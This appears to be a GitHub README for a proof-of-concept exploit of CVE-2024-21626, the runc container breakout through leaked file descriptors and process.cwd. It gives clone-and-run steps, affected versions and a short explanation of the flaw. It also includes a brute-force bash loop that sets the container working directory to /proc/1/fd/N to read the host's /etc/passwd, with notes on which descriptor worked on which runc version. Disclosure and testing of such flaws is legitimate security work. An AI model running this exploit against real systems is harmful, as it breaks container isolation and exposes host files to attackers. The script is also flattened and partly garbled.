cdxiaodong/cve-2024-21626Proof-of-concept exploit for CVE-2024-21626 runc container breakout via leaked file descriptors and process.cwd manipulation, enabling host filesystem access.
Usage:
1.git clone https://github.com/cdxiaodong/CVE-2024-21626
2.docker-compose up
Verification: If you can obtain the host's /etc/passwd, the vulnerability exists.
Environment: runc: >=v1.0.0-rc93,<=1.1.11
Attack details & principle: In affected versions of runc, during initialization, some internal file descriptors are leaked, including a handle to the host's /sys/fs/cgroup. Additionally, runc does not verify whether the final working directory is located within the container's mount namespace. Attackers can modify the process.cwd configuration to /proc/self/fd/7 or replace the specific path passed via the --cwd parameter when calling runc exec from the host with a symlink to /proc/self/fd/7, thereby allowing processes inside the container to access and manipulate the host's filesystem, bypassing the container's isolation mechanism. More details (GIF):
CVE: CVE - CVE-2024-21626 (mitre.org)
Discoverer of this vulnerability: CVE-2024-21626 runc process.cwd and leaked fds container breakout | Snyk
The actual fd may change depending on the order files are opened. You can use the following script to brute-force:
/// #!/bin/bash
for i in {3..10} do # 使用变量构造工作目录，并运行容器 docker run -w /proc/1/fd/$i ubuntu cat ../../../../../etc/passwd done ///
Local test successful:
fd/9 works on runc-version: 1.1.10, 1.1.2
When runc --version is 1.0.0
When runc --version is 1.1.4, fd/8 works
This vulnerability was just disclosed today. Below are more details.
The following methods can be used to reproduce:
todo: runc breakpoint to get fd for better automation
